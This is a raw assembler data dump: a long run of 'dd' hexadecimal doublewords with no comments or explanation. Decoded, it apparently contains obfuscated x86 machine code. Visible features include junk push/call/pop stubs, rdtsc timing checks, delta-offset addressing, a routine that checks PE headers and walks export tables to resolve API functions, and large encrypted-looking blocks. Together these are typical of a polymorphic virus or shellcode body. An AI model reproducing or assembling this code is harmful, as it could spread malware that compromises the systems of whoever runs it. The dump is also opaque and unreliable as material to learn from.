6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0C97F56C3h, 8840Fh, 8C0F0000h, 2 dd 89AB6160h, 0B26E1BDh, 89BD8D06h, 0F060B28h, 1987h, 13880F00h dd 0E9000000h, 0Eh, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h dd 6AAD2781h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 335BC351h, 22ECE5CAh, 49850109h dd 81060B0Fh, 28247Ch, 0F100000h, 11687h, 359D8900h, 90060B10h dd 50D88B60h, 8A310F52h, 61585ACEh, 10E950h, 0E52F0000h dd 5427693Fh, 53DF443h, 2B8CC93Fh, 0F90AD26h, 0A8Fh, 858B6000h dd 60B0CC9h, 8B61C18Ah, 602C2444h, 3C15E381h, 50610A5Bh dd 0FE9h, 0EE76CB00h, 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 7E00C355h, 473B42CAh, 8947851Ah dd 0B18A985h, 0F858D06h, 6A060E4Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EF18C353h dd 0F99A94Eh, 3285h, 11E96000h, 23000000h, 5A4ADC03h, 0B5A67541h dd 51FFD74Eh, 635000BEh, 14E8h, 86519700h, 0D089E31Dh dd 75F652A5h, 96EDDBB5h, 0CDE301FBh, 31615A82h, 0B27CD95h dd 60D0FF06h, 13599589h, 14E8060Bh, 88000000h, 694720BFh dd 0D45E569Fh, 7E4356BAh, 9C9CCEABh, 0F6E620Ah, 8Fh, 3615A00h dd 6A282444h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 7996C356h, 9BF7A6C7h, 16041DFh dd 0B0E698Dh, 0AE906h, 9FE90000h, 86192DD6h, 80646015h dd 5EFCAB61h, 7CE38DFFh, 0BD83060Eh, 60E7CE3h, 330A7500h dd 55B58DC0h, 0FF060E8Ch, 81AD56E6h, 28247Ch, 77100000h dd 448B500Eh, 8D502C24h, 0E4E0F85h, 3D0FF06h, 97282444h dd 858ADF8Bh, 60E7CDFh, 474C084h, 4C75073Ah, 0AEC03257h dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 5E985FFh dd 5DE9060Bh, 5EFFFFFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0BDC35242h, 8154FDB0h, 0F3C6DD0h, 0A85h dd 800F6000h, 0 dd 0F961D08Bh, 0DE9h, 0CBDD2C00h, 0A964E753h, 0B62F16C7h dd 6660CAC1h, 66D5FDBFh, 1AC3D781h, 0E9858B61h, 6A060B05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 13ECC352h, 1BDD7C19h, 7E93Fh, 25930000h dd 0A5C28E41h, 168C0F4Ch, 0E9000000h, 11h, 0A9189CEAh dd 0E79B5FF3h, 88C7FBBCh, 0C42209D7h, 6AE0D120h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 4C05C355h, 898503BCh, 0F060B28h, 0D87h, 958B6000h, 60B0C15h dd 0A8D272BBh, 0F62B614Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 99C35141h, 8544C777h, 96FC6E41h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 7DC35242h, 0AD66A7A0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 76C35343h dd 60BDD2D4h, 8F0F52h, 5B000000h, 6880Fh, 890F0000h, 0 dd 2E0C161h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0E9C35141h, 0EBC7E413h, 0F84BED4Eh, 0DD9D8960h dd 0B7060B27h, 85036147h, 60B242Dh, 0EE9BD29h, 6A96060Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0E93AC357h, 6, 0FFBA0FFEh, 0FC604D1Ah, 0DE8h dd 0DBC3E200h, 0A39D2FE3h, 0D9B45870h, 61585B62h, 51006AADh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0DF9BF7A6h, 64FD0041h, 0BD31D84Fh, 60B01B5h, 24247C81h dd 10000000h, 119870Fh, 90FC0000h, 10E9h, 0B04D1000h, 0CEBA1C6Dh dd 0FC7B39BDh, 0E9B2D496h, 0B060502Eh, 61F08BC7h, 21952990h dd 8B060B22h, 6A282444h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 2E6FC356h, 0B0FD345Dh dd 1D8589h, 5090060Bh, 50525052h, 5A310F52h, 0E9310F58h dd 13h, 188CC815h, 0CCE8B9B9h, 5C282323h, 0F7B41ECFh, 5A6C7B49h dd 50310F58h, 0F525052h, 0F585A31h, 5A616031h, 50585A58h dd 68B0Fh, 56600000h, 615A515Ah, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0E1B1C535h dd 13E860h, 910000h, 0BB745ADh, 0F5F7B037h, 757F4CDh, 933C80D1h dd 0F9EC807Fh, 61C1B558h, 4E0F858Dh, 6A060Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 22233DC3h dd 0CCCDDD66h, 0FFF59616h, 11E9D0h, 5B980000h, 6213BFB1h dd 1EB9A71Dh, 4A02587Eh, 3DD6C00h, 29242444h, 0B1315B5h dd 24448906h, 58D091Ch, 0C6060B10h, 0B284585h, 85C70006h dd 60E7E94h, 0 dd 7CE785C7h, 60Eh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 5F21F3C3h, 3281A6B9h dd 0F42C0C6h, 880h, 2810F00h, 60000000h, 0B1B50961h, 0F8060B21h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 9AADFF83h, 9D0B60FCh, 60B1B71h, 50644EBFh dd 8C26105h, 68D0F00h, 9000000h, 0B00E185h, 2D858B06h dd 6A060B24h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 407FC356h, 6CB3EFB3h, 89B58960h dd 0FC060B12h, 219D8961h, 4A060B15h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 1CC35141h, 0E9F0DEBCh, 0Ch dd 0C72D6C70h, 3106CBDAh, 0F2923833h, 68B0Fh, 0B5010000h dd 60B1A21h, 0E904D26Bh, 9, 0B9DFC346h, 89A1D326h, 0F8C203D6h dd 7E9h, 48CBB400h, 6F82B9C3h, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0E9BD89F8h dd 0E9060B22h, 10h, 5DD5DB7Dh, 9DD427E9h, 0C9A2FCAh, 7D21E180h dd 6E960ADh, 0A6000000h, 0E0DB6259h, 68B0F7Dh, 2B000000h dd 0B12F5BDh, 7C816106h, 2424h, 870F1000h, 126h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AFC35242h, 4EFE3E74h dd 0F40132CAh, 6870F8Bh, 89000000h, 0B0729B5h, 870F5006h dd 15h, 10E9h, 0B8EA6000h, 0BF795E35h, 223AE6EBh, 0ABF33557h dd 240489EDh, 12E9h, 6A46BD00h, 0C65F885Fh, 0DD5CF6ABh dd 0E49939BBh, 8B3B06E5h, 0E9282444h, 0Eh, 4AAC1E37h, 0C6AAFF8Ah dd 1D7E5D08h, 5050FE6Bh, 0D6BE6052h, 6158BFC7h, 6660310Fh dd 66C912B9h, 6132D9B9h, 489585Ah, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 2003879Bh dd 8E9101Bh, 95000000h, 0F63DD78Ch, 8DDB9E6Eh, 0E4E0F85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 92BBA041h, 39AEB283h, 0F60D7D6h, 680h, 7FC88100h dd 8B37F235h, 0B0F6195h, 0D0FF6106h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 94C35545h, 3CE9F8A0h, 0E9FFFFFDh dd 0Bh, 0B9727575h, 0C4FDA033h, 8DAC4235h, 0E929385h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DE21109Fh, 0D7AF8643h, 0B52987A6h, 60B1061h, 10E990h dd 24190000h, 29D16E53h, 4D6B3A19h, 0F964F7E9h, 0F509DC6h dd 0E8Ch, 60525000h, 0F310F61h, 88h, 90585A00h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8CC35646h, 0C585893Fh dd 64060B27h, 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 2927A4C3h, 0B5893187h dd 60B2EF5h, 6A24048Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 3C77C355h, 0C21CD538h dd 9E99Bh, 0CE3F0000h, 0F9CB93A8h, 0FC5A2D3h, 68Bh, 718D8900h dd 89060B33h, 0B092585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 92055E29h, 0EE7E3C7Dh dd 0B52B6004h, 60B18A1h, 61C28B66h, 27619531h, 8964060Bh dd 25h, 0E9952900h, 8D060B0Ah, 0E90A485h, 49852906h, 89060B28h dd 95890160h, 60B1925h, 253E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 5399CE1Eh dd 0F5958B60h, 8B060B03h, 0DB8B61C2h, 0E8h, 0ED815D00h dd 60E909Dh, 12FF9CBCh, 11BD8300h, 60B16h, 858B1874h, 60B2EC5h dd 8B0000C6h, 0B276585h, 0C606h, 2F4D95FFh, 0FF60060Bh dd 0E78EBB5h, 0EF858D06h, 50060E78h, 7AE7858Dh, 0FF50060Eh dd 0B000D95h, 0CC48306h, 0B9606061h, 22707BEEh, 6A6161h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0B44DCCC3h, 0B58DC73Ch, 60E7AE7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 13C35343h, 728CBA6Ah, 60ACF80Ah dd 68C0Fh, 95890000h, 60B03D5h, 61F28B66h, 18A0Fh, 8DF50000h dd 0B24BDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0C3C64727h, 7846EB5Fh, 3E80F506h dd 68840F00h, 0F000000h, 181h, 9501F900h, 60B010Dh, 13E9A4h dd 0AEA10000h, 0DDAE2E2Eh, 474BC085h, 162D95EAh, 7C35A6F5h dd 0FFCCE9D9h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0A15158C3h, 5841E9Fh, 8B666050h dd 83F8B8FBh, 0F612DFCh, 0A86h, 5E900h, 0B7840000h, 0B89C4530h dd 0 dd 8E9h, 0AB09FE00h, 0A71414D3h, 0B589AAC6h, 60B0829h dd 7B8h, 10E96000h, 65000000h, 14EA64D2h, 619B11ADh, 0E9F40F58h dd 66A9D228h, 61886DB8h, 0C3D85C7h, 1060Bh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 45F96C3h, 9F0D283Ah, 0D78D8DAAh, 0F060B4Dh, 686h, 0D59D0100h dd 0FF060B05h, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 893F2B13h, 0B1B71BDh dd 9DBD3106h, 8B060B32h, 550C245Ch, 0E8h, 0ED815D00h, 60E929Dh dd 0B8838Bh, 85890000h, 60E78EBh, 9096858Dh, 8389060Eh dd 0B8h, 0C3C0335Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0D0C35747h, 2E24EE5Eh, 2061BD89h, 6A060Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 903A7C3h, 0B2EC995h, 0B5896006h, 60B277Dh, 2E658D09h dd 6061060Bh, 0CF858DF5h, 31060E94h, 0B33A99Dh, 8B609006h dd 0B003BEFAh, 50613C2Bh, 840F5250h, 6, 310F5250h, 310F585Ah dd 0DF8B6660h, 90585A61h, 7E9FCh, 41460000h, 0F09B3AA9h dd 35FF64F2h, 0 dd 1161B589h, 0E960060Bh, 7, 0D8210239h, 0E98C20FEh, 14h dd 14127BA7h, 0F82E50D5h, 0CE496010h, 36C81FD2h, 71C47955h dd 25896461h, 0 dd 21819D89h, 858D060Bh, 60E954Fh, 11D8D29h, 0B531060Bh dd 60B3179h, 60016089h, 0ED5852Bh, 0BD89060Bh, 60B0789h dd 4585C661h, 4F060B28h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 72C35545h, 0E468FCF8h, 608EA509h, 6E9h dd 6BAA400h, 66899F42h, 6142B5B9h, 46240481h, 6A70236Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 67E3C355h, 0C1B70F60h, 2211BD89h, 0F961060Bh dd 1355B5FFh, 8DF5060Bh, 0E7D1885h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0B1621Fh, 31DC388Dh dd 0B059D9Dh, 0B5896006h, 60B1A25h, 11E8h, 638B700h, 2D7BB8D0h dd 6D95AAECh, 9D0C0DEFh, 58F5C0F2h, 6AD0FF61h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0DC96C355h, 5516CDAFh, 11B86059h, 505A1BE4h, 9D01615Eh dd 60B010Dh, 9EE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8B5BA9F0h, 550C245Ch dd 0E8h, 0ED815D00h, 60E94D9h, 0B01858Bh, 8589060Bh, 60B1355h dd 315858Bh, 8589060Bh, 60B27F5h, 194D858Bh, 8589060Bh dd 60B0701h, 284585C6h, 0C700060Bh, 0E7E9485h, 6, 4F858D00h dd 89060E95h, 0B883h, 0C0335D00h, 3D9589C3h, 6A060B10h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0F7E8C357h, 9D85099Dh, 0BC060B05h, 12FF74h dd 5958529h, 8F64060Bh, 5, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0AE95Ah, 0FFAB0000h dd 98C2B3C5h, 0C366151h, 6860Fh, 95010000h, 60B1215h, 8196B360h dd 0BB46AAD6h, 0C483616Fh, 0DB50104h, 61060B22h, 83E9h dd 52515300h, 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h dd 66D8033Ch, 45503B81h, 57850Fh, 5B8B0000h, 245C0378h dd 24738B1Ch, 1C247403h, 207B8B56h, 31C738Bh, 320247Ch dd 0FC202474h, 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h dd 84028A04h, 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h dd 0B70FE1D1h, 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h dd 0E9C03300h, 0FFFFFFF1h, 8E8CA8Bh, 4E000000h, 49E52995h dd 0E9271A19h, 5, 2382A580h, 0DEBB5EB9h, 814A61D0h, 6922C6h dd 0CE95300h, 65000000h, 99F06836h, 91D3D6DDh, 5A861833h dd 1A1168h, 0CE900h, 0A12F0000h, 57389E0Dh, 217ABEEBh dd 6658DBA0h, 9336D281h, 0BF0F3E8Bh, 0D3EF81D6h, 0F4D6DB8h dd 88Dh, 2860F00h, 0B2000000h, 21F78172h, 0F65F0F3h, 584h dd 0D2816600h, 0EF812C81h, 42C843BFh, 0DD8AF560h, 0E2805761h dd 0E9068F5Ah, 8, 8B3AB9CBh, 0A9E54939h, 8B02EE83h, 814E4EDEh dd 8A6F67F2h, 1E88369h, 1A850Fh, 81660000h, 0E9E3B3F3h dd 2Dh, 0D69345C1h, 18418779h, 0AF71F254h, 31A09748h, 8FD4F381h dd 7DE92F69h, 0EFFFFFFFh, 9252C9FDh, 4A992794h, 9D86D175h dd 6D3D4CB4h, 9E8C7h, 0FFB0000h, 0A11C2271h, 0F18057Ch dd 128Bh, 0CE800h, 45EA0000h, 65FC80Eh, 15D25C5Dh, 5F5A1094h dd 6B1CC781h, 0E6800000h, 0FDB2BC1h, 1E88h, 18890F00h dd 0E9000000h, 13h, 0F343E152h, 0BAAE7559h, 823C8108h dd 25884514h, 0FFBED968h, 0EA813B34h, 3CF3D624h, 6C6815Eh dd 0B93E8A2Ah, 2D896138h, 44CFEE81h, 81664EE0h, 818B9BD8h dd 0CBDE98EEh, 0BE91Ch, 0B9190000h, 9E10D608h, 0F78F3A45h dd 1F34893Ah, 6BC28166h, 4EB8367h, 38B0Fh, 8B660000h, 0B8FB81D1h dd 0FFFFF95h, 1A85h, 26BA6600h, 28E984h, 15CD0000h, 0A058FC65h dd 7163D328h, 67024F2Eh, 80D9098Ch, 88E9D2E9h, 0F6FFFFFFh dd 0C8FA464Dh, 0AB94660Bh, 78596C3Ch, 0E5E99DA3h, 10000000h dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h dd 43F2FD54h, 2222DA53h, 0C76E9h, 9B3F6800h, 44E9060Eh dd 68FFFCE6h, 60E9C40h, 0FCE63AE9h, 9D3368FFh, 30E9060Eh dd 68FFFCE6h, 60E9DECh, 0FCE626E9h, 9E5E68FFh, 1CE9060Eh dd 68FFFCE6h, 60E9F00h, 0FCE612E9h, 0A07B68FFh, 8E9060Eh dd 68FFFCE6h, 60EA194h, 0FCE5FEE9h, 0A27C68FFh, 0F4E9060Eh dd 68FFFCE5h, 60EA331h, 0FCE5EAE9h, 0A3F568FFh, 0E0E9060Eh dd 89FFFCE5h, 709D467Dh, 0DECF1425h, 8865FED3h, 77904372h dd 72C1122Dh, 0B588906Bh, 53841AEh, 0E8E731DEh, 0BC899A0Bh dd 1E965AA7h, 0C59A846Ah, 0DE960EFDh, 0A514F8D5h, 0B59D615Ch dd 7C896E7Fh, 0B8C49241h, 0F3D7EE36h, 2BC0C569h, 7D45BD9Fh dd 0FAD72089h, 957B8C79h, 8EABA009h, 3D81E587h, 60B45435h dd 0F2CDD73Ah, 7A455F0Eh, 6964BE96h, 74A1AB15h, 5F1ACB21h dd 85146EAAh, 0A02D87A1h, 0C0132E7Bh, 2D72D227h, 7468AC10h dd 0F1CCD980h, 7F465C0Dh, 0FBD2228Bh, 1FAEEA17h, 0D28A0AB8h dd 210586DEh, 0AB505D57h, 74F0635Eh, 9E0642EAh, 6A893A60h dd 0BD256597h, 57E0C452h, 0D382CF1Ah, 2FC2A94h, 2C35C1EBh dd 50FC6h, 0D5DE2E00h, 50A514F8h, 0DCA0FE65h, 8C119547h dd 0A1BD9F19h, 0B667F559h, 0AEE2566Bh, 0E794F480h, 53413A60h dd 68FBE52h, 57BA2C35h, 42000000h, 754850BDh, 5733BB81h dd 0D8C3941Dh, 5C608EE2h, 0C4313B40h, 876987BEh, 9F05CE6Fh dd 0F75BBFBDh, 3753DB65h, 0B83A60CBh, 70149842h, 0F73A60CBh dd 0F1916583h, 243A60CBh, 59EB717Ch, 133CB9E2h, 8D8CDA1h dd 3A60597Ch, 0FF618FF3h, 2C35354Eh, 0E67Bh, 0D5DE8500h dd 0EBE3A923h, 0C2268CCFh, 0FB01EC7Eh, 0F21C70C4h, 2C3E011Bh dd 69AC8Fh, 8BA54166h, 0F0CDD687h, 7D485D0Ch, 0D8F53EEFh dd 45708574h, 8FB99DF1h, 5AAD58D4h, 89A79B6Fh, 9417BCFDh dd 0DFEA3FC3h, 260CAE0Dh, 84C385A0h, 0B1C896Ah, 4A524A3Eh dd 0B6832B31h, 0B7BD9F4Ah, 0CF0CDD6h, 2F0FD4C8h, 0C3D5C04Dh dd 4CC00F4h, 3A610240h, 4D9FF3C7h, 0CC7A57A0h, 12659022h dd 0D17F5327h, 6C935F05h, 0EAD044h, 0A3B08F95h, 0C8073E42h dd 8C704085h, 74F95EB4h, 0E1000009h, 48A5BE95h, 36D70C3Dh dd 0E00DD6EBh, 4FB8BB9Ah, 6AE90A35h, 0AD90E803h, 7D4059B6h dd 0C0FF09E6h, 94A1F213h, 6AE424Fh, 0C59A8642h, 0DE8E76C5h dd 0CA71FBDAh, 3A40DF7Eh, 0A453B71Bh, 5726FDDFh, 4D817544h dd 0D227C0A3h, 0BD847CE7h, 710D8C33h dd 75308BFh, 94C6BBCFh, 18360CC3h, 0ADF6F884h, 7FAEBC90h dd 55A91D2Ch, 0C61B6F87h, 96ECC394h, 0DF7EF678h, 50BD9FDEh dd 3E4EE66Ah, 0EB3A61ACh, 25C43CC9h, 0C2C36A2h, 0CAh, 0F8D5DEE8h dd 965FA514h, 941D6A1Eh, 0AAA5F3C3h, 0DF1D52Dh, 941B9425h dd 0F7C2D7C3h, 0AD76836Ch, 0DCD7E80Eh, 3C348DBDh, 3C6BA148h dd 0C12FBDFh, 9A0BD135h, 0BC94B28Fh, 0D11B207Ch, 60BF585Dh dd 4E95ED42h, 65F78C10h, 6D1F88C1h, 92F36844h, 17F0529Ah dd 201AF917h, 8EB1CB3Ah, 0AB60B855h, 72E44703h, 9EF2C830h dd 70B3DE51h, 5A3D158Ch, 873h, 0A6BD949Eh, 0D0033E49h dd 0ED5E437h, 0B9BA99E1h, 0EA09344Ch, 93E9046Bh, 4156B7ACh dd 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh, 9A814105h, 8177C6C5h dd 42511EBDh, 68192C43h, 979EE636h, 54F2D6CDh, 4E9CA3F9h dd 98ED475Fh, 0B1C049ADh, 36D03498h, 0A4750BDh, 0D5DE2BE9h dd 50A514F8h, 289FE65h, 66628A14h, 0E9C3941Dh, 0E3C7FE04h dd 1D91F579h, 2C16C394h, 0CCE2BA02h, 0C5398DB8h, 0D6F37BE1h dd 57BD9F05h, 0E0FA0C63h, 0C43FAF11h, 35B9A3B8h, 46B34800h dd 4C7D8865h, 0E03584F8h, 0ED0DF1D5h, 0D466F48Fh, 0B54D3450h dd 0A947BB36h, 82C7AFC7h, 4BD548B8h, 86CEA723h, 34D2282Ch dd 8C79E3D7h, 378F4879h, 677A8D53h, 8F57791h, 8E18C2FFh dd 86FC6266h, 0C36BE52Ch, 2C86FC87h, 30DE3208h, 0E54D56B7h dd 824DA19Ch, 9144CBB7h, 80A718EAh, 0ED000007h, 54B1A299h dd 2E37041h, 0EC19DAF7h, 5BB4AF96h, 5EE57E41h, 91ACF417h dd 615CA542h, 340315F2h, 98B5FE2Fh, 32BAB65Bh, 0C59A8056h dd 0DEF26AD9h, 1414F8D5h, 0DF69F388h, 40EEE32Eh, 9F1935B4h dd 13C03ABDh, 221F6491h, 5FE4B804h, 8C92038Dh, 63CB9BB5h dd 0DC446E4Eh, 7C8974E6h, 20759241h, 3349A115h, 0E5AAC228h dd 3B4E7CC5h, 5E88B5CAh, 5BFB0CE1h, 0B68A7E41h, 1EC7E52h dd 0D7F102F4h, 4ACB23ABh, 80AEE256h, 0DFEA3FEEh, 0BA97E00Dh dd 9354F2D6h, 0A0142172h, 3D2F3448h, 38E80CB3h, 0D2FD9BDCh dd 4E4DA034h, 0B8825048h, 8B5DFCAFh, 40070398h, 6C7h, 0AE9E032h dd 0A4BF8A9Dh, 0D201384Bh, 0DD6ED35h, 0BEA598E0h, 0E73DD007h dd 95EA1BD8h, 4A5A4BA8h, 0F207E073h, 7DEF1CC7h, 9A809DE9h dd 3DA312C5h, 0E4760D6Fh, 9AB50740h, 5A6988BDh, 50C0622Fh dd 0F59115C7h, 7A3A65DDh, 0CF3E2C00h, 0BB548FBAh, 8FEF536Eh dd 608456EDh, 446ED981h, 5ADF223h, 46E0C4F3h, 1F76F1C9h dd 0D28C70F3h, 6559F70h, 76800000h, 1C6B845Fh, 0CAD9362Dh dd 7B836CF7h, 2A6E9F44h, 6289C82Bh, 954E718Bh, 0C51E2378h dd 72E1DC28h, 0AEB58095h, 63678F5Dh, 0E4C59A83h, 33BDAF15h dd 941DCFBBh, 143900C3h, 0E845B193h, 5978BE6Fh, 93BD91F5h dd 0EA710Bh, 9A5744ECh, 15C73BBDh, 0B1A29FE8h, 82764354h dd 0E354DB8h, 0EA5E69BFh, 58247896h, 0CA9519C3h, 7B4468EDh dd 0DF28D507h, 7F42A339h, 0CBE01F2Ah, 3D261A5Fh, 608AC7D0h dd 22F272FBh, 0CA641825h, 0CD562646h, 239A971Fh, 57AB4E7Ch dd 7F78BF98h, 7BDC3692h, 5B3h, 66FDD4DEh, 90437E89h, 0CE152477h dd 79FAD921h, 0AA49748Ch, 0D329C42Bh, 819677ECh, 3E46A7BCh dd 0E633DC07h, 698308EBh, 9A8281C5h, 0C1B706C5h, 14F8D5DEh dd 0FE6550A5h, 0CDD2DCA0h, 587947F0h, 52260B43h, 0F201EC7Eh dd 0F9176BDFh, 5572FF77h, 0FFC3BD9Fh, 3FB7C10Bh, 3A615A4Bh dd 0BC48E6DCh, 3A615ACCh, 0BA0E354Dh, 1F5C4D3h, 54DCE9C3h dd 615AB4D0h, 0E3C73B3Ah, 0A15B6A4Eh, 2C355388h, 31A1h dd 0D6F4F00h, 0E139E476h, 0FC2A6ED2h, 55BFA72h, 0EED4BD9Fh dd 0CABACA1Ah, 356F3A60h, 0C7A940B8h, 22802C35h, 18000001h dd 0DDAC9BEDh, 3509FDC8h, 0D5DE251Bh, 433C8123h, 980C72A3h dd 0C3948FECh, 313B1F63h, 948FC9BDh, 645EC3h, 7EB7CDBCh dd 0F94D7C8Fh, 8F394D85h, 7A80C394h, 2493F75Bh, 0A716FADEh dd 6BF56752h, 948F87C3h, 143208C3h, 0FB384D3Ch, 948F1773h dd 0B78E96C3h, 0CA308FC3h, 12830DD6h, 4C183603h, 0C394890Dh dd 0F56E5BACh, 4E320F18h, 27354E2Eh, 40CD54B8h, 6D9BD484h dd 17826B83h, 0A916BD9Fh, 974CAA40h, 0F350FEE6h, 720A548Fh dd 5DDC03E9h, 0CA1F4F6Ah, 7C089C4Eh, 0F33A6141h, 7D8F618Fh dd 9AB48590h, 6CD73BCAh, 34B8B444h, 3073B450h, 102D76D7h dd 0F3A4D3Ch, 0F96347BBh, 2AC9F40Ch, 4F98A7FDh, 8C700132h dd 388E41C1h, 0A5000004h, 0CF97A51h, 0FA2BC8F9h, 0A44192AFh dd 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah, 8CBBCD3Ah dd 506DB657h, 7AF27E83h, 0C59ABD0Eh, 0BD4A3281h, 830A4750h dd 0A5A84679h, 71F3605Fh, 0C568F7CAh, 0DA52655Dh, 0C394B6AEh dd 4BE5D921h, 5F84B1C2h, 800D6FB9h, 941D186Ch, 0B7ABEFC3h dd 1E2378A5h, 47F67EF0h, 28BD9F05h, 0BE023D47h, 5292665Ah dd 3A60CB32h, 0A830BDE7h, 0AA1E257Dh, 0A746B856h, 822C35C6h dd 0D1h, 0F11EBD6Ah, 0B2DA3FDh, 66B39AB4h, 0CB55E76Bh dd 940027A3h, 0B452A8C3h, 887C4359h, 94061958h, 844F58C3h dd 496F27Ah, 2119C394h, 9404A521h, 0FCD02AC3h, 5F6ABF6Eh dd 0FE7997EBh, 0DB120411h, 0FDA9D9E6h, 0E800F4E8h, 0C95D8F94h dd 0BD9F6220h, 0E0BEA59Dh, 89FD719Ch, 1E3A612Bh, 0B60E1B24h dd 4DBE3E9Eh, 796B8369h, 0F2446C25h, 5CD06288h, 3073E528h dd 0C3AD5BBFh, 13C44B1h, 231266E7h, 0F2CDD730h, 6FB23E75h dd 0A265ED8Ch, 31Fh, 0D201384Ah, 0CD7E235h, 0BAB990E3h dd 0D50E354Dh, 6DDE038h, 4F55A8BFh, 0FD02E370h, 0A2F213C0h dd 4A5F48ABh, 0D517E47Fh, 9ABC3551h, 55CBBAC5h, 78FBDADEh dd 35B97A8Fh, 0C3941D51h, 6B88ECD6h, 0F8D5DEADh, 30B4C614h dd 0C3941D54h, 0C449E7DBh, 285D86B3h, 4ED5A79Fh, 96E3129Ch dd 0CCF98DBBh, 2CBD9F05h, 162973A2h, 60C5AADEh, 